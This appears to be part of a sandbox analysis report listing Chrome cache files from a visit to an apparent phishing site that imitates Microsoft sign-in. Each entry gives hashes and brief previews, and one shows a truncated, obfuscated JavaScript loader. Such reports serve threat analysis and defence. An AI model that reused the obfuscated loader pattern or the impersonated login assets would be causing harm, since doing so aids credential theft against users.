SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64593)
Category:	dropped
Size (bytes):	100217
Entropy (8bit):	4.516887791126109
Encrypted:	false
SSDEEP:	1536:ib8J+apQ3jx2wtA4+eS6e6+mitQT3TLJCLaRlAq:ix2wtA4+eS6e6+XE3TLJCLIlAq
MD5:	57B032180AFEBEB7A6C31D0A7F35C47A
SHA1:	E6C8EE94D3A447EF0B81A1F406AA7F2907CBC798
SHA-256:	DB290E0F0161B9962787FA22C846F5D53BEBCD5B46B77837AF5048C09981A7BB
SHA-512:	0A059C64899F0A20FE9EDF7A94E9F0FE76775B7DED8703140CF5D309D87643575E1F98C4020862270A44D679170CDD9B061B7C924CAE7D7B7B5DFE3F66A6F269
Malicious:	false
Preview:	function _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(function(_0x3ed08f, _0x56c8b3) {. const _0x2019c0 = _0x1fae,. _0x43cc63 = _0x3ed08f();. while (!![]) {. try {. const _0x262285 = parseInt(_0x2019c0(0x121)) / 0x1 + -parseInt(_0x2019c0(0x170)) / 0x2 + -parseInt(_0x2019c0(0x14b)) / 0x3 + -parseInt(_0x2019c0(0x14d)) / 0x4 + -parseInt(_0x2019c0(0x14c)) / 0x5 + -parseInt(_0x2019c0(0x118)) / 0x6 + parseInt(_0x2019c0(0x171)) / 0x7;. if (_0x262285 === _0x56c8b3) break;. else _0x43cc63['push'](_0x43cc63['shift']());. } catch (_0x3070ea) { _0x43cc63['push'](_0x43cc63['shift']()); }. }.}(_0x59eb, 0x27508), window['addEventListener']('load', function() {. const _0x1706f4 = _0x1fae;. document[_0x1706f4(0x166)][_0x1706f4(0x102)](_0x1706f4(0x151

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49854)
Category:	dropped
Size (bytes):	49993
Entropy (8bit):	5.216475744251136
Encrypted:	false
SSDEEP:	768:RKrClF4PgzcEZ5G/Z4G9qXLZed86mhrjlm:RPXcZ4TLZzpPm
MD5:	777EB8FD4F8320B6E5CC9A7159BDEC6A
SHA1:	6B4032E88D0040182089FE3BEFDECEE9346E8921
SHA-256:	73EBA16BC895FDFA454E27ECB80DEF31EDE8D861F99E175FF93B110EABEC044F
SHA-512:	D75B7C43EBD8F49942AEBF8FBDE64A4D826AF27ECED3D6395FFA64FDA31DDEF26E812BEEE313AE9C6114CDA003A8BDC8F1C64A13FA41C3009F5F30E4449876B1
Malicious:	false
Preview:	/!. Socket.IO v4.7.5. * (c) 2014-2024 Guillermo Rauch. * Released under the MIT License.. */.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).io=t()}(this,(function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,(i=r.key,o=void 0,"symbol"==typeof(o=function(e,t){if("object"!=typeof e\|\|null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t\|\|"default");if("object"!=typeof r)return r;th

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.835131731013994
Encrypted:	false
SSDEEP:	3:pg8BH3a8r9/1qiddO8k0kL62:p5BX5rPZddOW2
MD5:	1FF88D7E6CE0EFFEC359C41A6ED77C2F
SHA1:	0A7EF1924FB8FC49B70126C75A0E3476688A1E56
SHA-256:	842DD742BBF5C87477A45B6D5F9DC0DE51109F24BFEFAC949E6902ED367ABFF2
SHA-512:	D974F02AF3F19FD743E957F60794499F343FBDB0ACB6A71A55B13F8E0A237E00C859D3528655BE09294107850D6976B561BF0A32FB7B6DA7E44105E29C1E1E66
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQlvKCkD85JzEBIFDZFhlU4SBQ01hlQcEgUNkWGVThIFDZFhlU4=?alt=proto
Preview:	CjAKCw2RYZVOGgQICRgBCgcNNYZUHBoACgsNkWGVThoECAkYAQoLDZFhlU4aBAgJGAE=

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2044)
Category:	downloaded
Size (bytes):	4225
Entropy (8bit):	5.180546062841146
Encrypted:	false
SSDEEP:	96:lW+9Jg/k5PG5Py5PevSd++OICtJxtomlGDWtVA2Mnc:M+9JUk5e5a5eSdpOICtlomlHMc
MD5:	236D4ADDCC4318CB8CCF34656DFEE1A9
SHA1:	963755A8292D1B633747FFDF08DA302C9EA8A504
SHA-256:	9F326FBC5381C6893E8DBB5B0D1678854E14258F70272169EEB42886F4A1125B
SHA-512:	19D184952020E20CDCF2C8DCEE09AFEA476669B06513AE5F478A0EF3FAA48D6CB50032B07824468B454B9EE0AB703EA81BFD90B0A9ABE5E6A63CDCD8817A17C4
Malicious:	false
URL:	https://bhutto.systelligence.com/favicon.ico
Preview:	<html>. <head>. <title>COMING SOON</title>. <body>. <div class="bgimg">. <div class="middle">. <h1>COMING SOON</h1>. <hr>. <p id="demo" style="font-size:30px"></p>. </div>. </div>. <style>. body,. html {. height: 100%;. margin: 0;. }.. .bgimg {. background-image: url("https://i.imgur.com/xA8aaXN.png");. height: 100%;. background-position: center;. background-size: cover;. position: relative;. color: white;. font-family: "Courier New", Courier, monospace;. font-size: 25px;. }.. .topleft {. position: absolute;. top: 0;. left: 16px;. }.. .bottomleft {. position: absolute;. bottom: 0;. left: 16px;. }.. .middle {. position: absolute;. top: 80%;. left: 50%;. transform: translate(-50%, -50%);. text-align: center;. }.. hr {. margin: auto;.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2044)
Category:	dropped
Size (bytes):	4225
Entropy (8bit):	5.180546062841146
Encrypted:	false
SSDEEP:	96:lW+9Jg/k5PG5Py5PevSd++OICtJxtomlGDWtVA2Mnc:M+9JUk5e5a5eSdpOICtlomlHMc
MD5:	236D4ADDCC4318CB8CCF34656DFEE1A9
SHA1:	963755A8292D1B633747FFDF08DA302C9EA8A504
SHA-256:	9F326FBC5381C6893E8DBB5B0D1678854E14258F70272169EEB42886F4A1125B
SHA-512:	19D184952020E20CDCF2C8DCEE09AFEA476669B06513AE5F478A0EF3FAA48D6CB50032B07824468B454B9EE0AB703EA81BFD90B0A9ABE5E6A63CDCD8817A17C4
Malicious:	false
Preview:	<html>. <head>. <title>COMING SOON</title>. <body>. <div class="bgimg">. <div class="middle">. <h1>COMING SOON</h1>. <hr>. <p id="demo" style="font-size:30px"></p>. </div>. </div>. <style>. body,. html {. height: 100%;. margin: 0;. }.. .bgimg {. background-image: url("https://i.imgur.com/xA8aaXN.png");. height: 100%;. background-position: center;. background-size: cover;. position: relative;. color: white;. font-family: "Courier New", Courier, monospace;. font-size: 25px;. }.. .topleft {. position: absolute;. top: 0;. left: 16px;. }.. .bottomleft {. position: absolute;. bottom: 0;. left: 16px;. }.. .middle {. position: absolute;. top: 80%;. left: 50%;. transform: translate(-50%, -50%);. text-align: center;. }.. hr {. margin: auto;.

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	23427
Entropy (8bit):	5.112735417225198
Encrypted:	false
SSDEEP:	384:1HHLO7eS0F4bBY/fn6jZcy9/cGK1q8CarY64Cb+dOy:1HHCLYXfl1q8CarY64Cb+dl
MD5:	BA0537E9574725096AF97C27D7E54F76
SHA1:	BD46B47D74D344F435B5805114559D45979762D5
SHA-256:	4A7611BC677873A0F87FE21727BC3A2A43F57A5DED3B10CE33A0F371A2E6030F
SHA-512:	FC43F1A6B95E1CE005A8EFCDB0D38DF8CC12189BEAC18099FD97C278D254D5DA4C24556BD06515D9D6CA495DDB630A052AEFC0BB73D6ED15DEBC0FB1E8E208E7
Malicious:	false
URL:	https://www.w3schools.com/w3css/4/w3.css
Preview:	./* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /.html{box-sizing:border-box},:before,:after{box-sizing:inherit}./* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */.html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}.article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}.audio,canvas,progress,video{display:inline-block}progress{vertical-align:baseline}.audio:not([controls]){display:none;height:0}[hidden],template{display:none}.a{background-color:transparent}a:active,a:hover{outline-width:0}.abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}.b,strong{font-weight:bolder}dfn{font-style:italic}mark{background:#ff0;color:#000}.small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}.sub{bottom:-0.25em}sup{top:-0.5em}figure{margin:1em 40px}img{border-style:none}.code,kbd,p

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
URL:	https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8165), with no line terminators
Category:	downloaded
Size (bytes):	8165
Entropy (8bit):	5.760305718474358
Encrypted:	false
SSDEEP:	192:3ltvWr1YIKyFWZ7TNMtMgzEaNDADHcbVVJe:3lRW2dyFWZ7TNMtMcAYJVA
MD5:	83B6476028B798C9368C80F759AD0377
SHA1:	3EC663EF3B36262B5528A4E5A02D08EF0522D9DC
SHA-256:	B306D636D1E34E64737A86D1935F31494F385B51BBA029DF330D068067916BA1
SHA-512:	F87D2D123E4CE92DB9D81C80D2BB07057AC1580A6AC85759314AB749DEACA947E6CD5B492190E2CFA66AF50E801785682013048AE76216EBEDF287E8507FD6E9
Malicious:	false
URL:	https://bhutto.systelligence.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/22755d9a86c9/main.js?
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(V,h,i,j,k,o,s,x){V=b,function(d,e,U,f,g){for(U=b,f=d();!![];)try{if(g=-parseInt(U(539))/1(-parseInt(U(550))/2)+parseInt(U(501))/3+parseInt(U(529))/4(parseInt(U(587))/5)+-parseInt(U(575))/6(-parseInt(U(533))/7)+-parseInt(U(541))/8(parseInt(U(608))/9)+parseInt(U(504))/10+-parseInt(U(514))/11*(parseInt(U(604))/12),g===e)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,167491),h=this\|\|self,i=h[V(585)],j={},j[V(530)]='o',j[V(601)]='s',j[V(511)]='u',j[V(597)]='z',j[V(566)]='n',j[V(562)]='I',j[V(610)]='b',k=j,h[V(549)]=function(g,D,E,F,a0,H,I,J,K,L,M){if(a0=V,null===D\|\|void 0===D)return F;for(H=n(D),g[a0(536)][a0(524)]&&(H=H[a0(584)](g[a0(536)][a0(524)](D))),H=g[a0(571)][a0(554)]&&g[a0(569)]?g[a0(571)][a0(554)](new g[(a0(569))](H)):function(N,a1,O){for(a1=a0,N[a1(611)](),O=0;O<N[a1(578)];N[O+1]===N[O]?N[a1(515)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(583)][a0(519)](I),J=0;J<H[a0(578)];K=H[J],L=m(g,D,K),I(L)?(M=L==='s'&&!

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	downloaded
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,